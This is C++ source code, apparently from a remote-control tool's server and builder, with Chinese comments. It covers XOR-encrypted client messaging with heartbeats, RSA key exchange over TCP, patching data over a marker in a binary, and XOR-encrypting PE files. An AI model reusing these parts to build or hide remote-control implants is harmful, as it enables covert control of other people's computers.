BOOL CommManager::SendAndRecv( COMM_NAME commName, ULONG targetIP, const LPBYTE pSendData, DWORD dwSendSize, ByteBuffer& recvData ) { if (NULL == m_commList[commName]) return FALSE; ByteBuffer sendBuffer; sendBuffer.Alloc(dwSendSize); XorFibonacciCrypt(pSendData, dwSendSize, (LPVOID)(LPBYTE)sendBuffer, 2, 7); LPBYTE pRecvData = NULL; DWORD dwRecvSize = 0; BOOL bRet = m_commList[commName]->SendAndRecv(targetIP, (LPBYTE)sendBuffer, dwSendSize, &pRecvData, dwRecvSize); if (! bRet) { errorLog(_T("send and recv[%d] failed"), commName); return FALSE; } if (dwRecvSize > 0) { bRet = TRUE; recvData.Alloc(dwRecvSize); XorFibonacciCrypt(pRecvData, dwRecvSize, (LPVOID)(LPBYTE)recvData, 2, 7); m_commList[commName]->FreeRecvData(pRecvData); } return bRet; }
static BOOL FindAndSet(LPBYTE pBase, DWORD dwSize, DWORD dwFlag, LPBYTE pData, DWORD dwDataSize, BOOL bEncrypt = FALSE, int factor1 = 0, int factor2 = 0) { int count = 0; LPBYTE pTest = pBase; for (DWORD i = 0; i < dwSize - dwDataSize; i++, pTest++) { if (*(LPDWORD)pTest == dwFlag/* && *((LPDWORD)pTest + 1) == 0*/) { count++; } } if (count != 1) { CString errorMsg; errorMsg.Format(_T("定位%X特征失败,发现匹配个数 %d"), dwFlag, count); return FALSE; } for (DWORD i = 0; i < dwSize - dwDataSize; i++, pBase++) { if (*(LPDWORD)pBase == dwFlag /*&& *((LPDWORD)pBase + 1) == 0*/) { memcpy(pBase, pData, dwDataSize); if (bEncrypt) { XorFibonacciCrypt(pBase, dwDataSize, pBase, factor1, factor2); } return TRUE; } } return FALSE; }
BOOL XorEncryptFile(LPCTSTR lpszFilePath, UINT encryptSize,int key1 = 3 ,int key2 = 5) { DWORD dwOutFileSize = 0; BOOL bRet = FALSE; LPBYTE lpFileContext = NULL; HANDLE hFile = CreateFile(lpszFilePath,GENERIC_WRITE | GENERIC_READ ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0); if (hFile == INVALID_HANDLE_VALUE) { int nError = GetLastError(); goto END; } int nFileSize = GetFileSize(hFile,0); nFileSize = min(nFileSize, encryptSize); lpFileContext = new BYTE[nFileSize]; if (!lpszFilePath) goto END; if (!ReadFile(hFile,lpFileContext,nFileSize,&dwOutFileSize,NULL)) goto END; if (dwOutFileSize != nFileSize) goto END; //检查PE是不是已经加密过 char* head = "EW"; if (memcmp(head,lpFileContext,2) == 0) { bRet = TRUE; goto END; } XorFibonacciCrypt(lpFileContext,nFileSize,lpFileContext,key1,key2); SetFilePointer(hFile,0,0,FILE_BEGIN); if(!WriteFile(hFile,lpFileContext,nFileSize,&dwOutFileSize,NULL)) goto END; bRet = (dwOutFileSize == nFileSize); END: if (lpFileContext) { delete lpFileContext; } if (hFile != INVALID_HANDLE_VALUE) { CloseHandle(hFile); } return bRet; }
BOOL CommManager::Send( COMM_NAME commName, ULONG targetIP, const LPBYTE pData, DWORD dwSize ) { if (NULL == m_commList[commName]) return FALSE; ByteBuffer buffer; buffer.Alloc(dwSize); XorFibonacciCrypt(pData, dwSize, (LPVOID)(LPBYTE)buffer, 2, 7); BOOL ret = m_commList[commName]->Send(targetIP, (LPBYTE)buffer, dwSize); return ret; }
BOOL CommManager::HandleMessage( SOCKADDR_IN fromAddr, const LPBYTE pData, DWORD dwDataSize, COMM_NAME commName, CPGUID& cpguid ) { ByteBuffer dataBuffer; dataBuffer.Alloc(dwDataSize); if (! XorFibonacciCrypt(pData, dwDataSize, (LPBYTE)dataBuffer, 2, 7)) { return FALSE; } BOOL bRet = m_cp.AddRecvPacket(dataBuffer, dataBuffer.Size(), commName, &cpguid); if (m_cp.HasReceivedMsg()) { CPGUID from; ByteBuffer recvMsgData; if (m_cp.RecvMsg(recvMsgData, from)) { //解析数据 CommData recvCommdata; if (recvCommdata.Parse(recvMsgData, recvMsgData.Size())) { debugLog(_T("recv msg msgid[%I64u] serial[%I64u]"), recvCommdata.GetMsgID(), recvCommdata.GetSerialID()); tstring clientid; CutupProtocol::CPGuid2Str(from, clientid); recvCommdata.SetClientID(clientid.c_str()); SetMessageToAnswer(recvCommdata); HandleMsgByMsgHandler(recvCommdata.GetMsgID(), recvCommdata); } else { errorLog(_T("parse message failed")); } } } if (bRet) { //更新心跳数据 tstring clientid; CutupProtocol::CPGuid2Str(cpguid, clientid); UpdateHeartbeat(clientid.c_str(), fromAddr); } return bRet; }
BOOL CommManager::HandleMessageAndReply( SOCKADDR_IN fromAddr, const LPBYTE pData, DWORD dwDataSize, COMM_NAME commName, BOOL& bValidData, DWORD replyMaxDataSize, ByteBuffer& replyBuffer ) { CPGUID cpguid; bValidData = HandleMessage(fromAddr, pData, dwDataSize, commName, cpguid); if (! bValidData) { return FALSE; } //找到需要发送的消息 ByteBuffer toSendData; if (! m_cp.GetMessageToSendById(cpguid, replyMaxDataSize, toSendData)) { m_cp.CreateEmptyPacket(toSendData); } replyBuffer.Alloc(toSendData.Size()); BOOL bEncryptOK = XorFibonacciCrypt((LPBYTE)toSendData, toSendData.Size(), (LPBYTE)replyBuffer, 2, 7); return bEncryptOK; }
void CTcp::WorkerProc(LPVOID lpParameter) { ARGV_LIST *argv = (ARGV_LIST*)lpParameter; TCP_HEADER header; MySocket socket(argv->s,TRUE); BOOL ret = TRUE; ByteBuffer toSender; do { if (m_isSecure) { int key1 = 0; int key2 = 0; int flag = TCP_FLAG; socket.ReceiveAll(&flag,sizeof(int)); if(flag != TCP_FLAG ) break; socket.SendAll(&m_myPubKey,sizeof(RSA::RSA_PUBLIC_KEY)); socket.ReceiveAll(&key1,sizeof(int)); socket.ReceiveAll(&key2,sizeof(int)); RSA::RSADecrypt((char*)&m_xorKey1,&key1,m_myPriKey.e,m_myPriKey.n,1); RSA::RSADecrypt((char*)&m_xorKey2,&key2,m_myPriKey.e,m_myPriKey.n,1); } while(ret) { ret = socket.ReceiveAll(&header,sizeof(TCP_HEADER)); if (ret && header.flag == TCP_FLAG) { LPBYTE lpData = (LPBYTE)malloc(header.nSize); ret = socket.ReceiveAll(lpData,header.nSize); if (m_isSecure) XorFibonacciCrypt(lpData,header.nSize,lpData,m_xorKey1,m_xorKey2); if ( ret ) { if (argv->handler(lpData,header.nSize,argv->sin,toSender)) { header.nSize = toSender.Size(); socket.SendAll(&header,sizeof(TCP_HEADER)); if (m_isSecure) XorFibonacciCrypt(toSender,toSender.Size(),toSender,m_xorKey1,m_xorKey2); socket.SendAll(toSender,toSender.Size()); } } free(lpData); } else { break; } } } while (FALSE); socket.Close(); delete lpParameter; }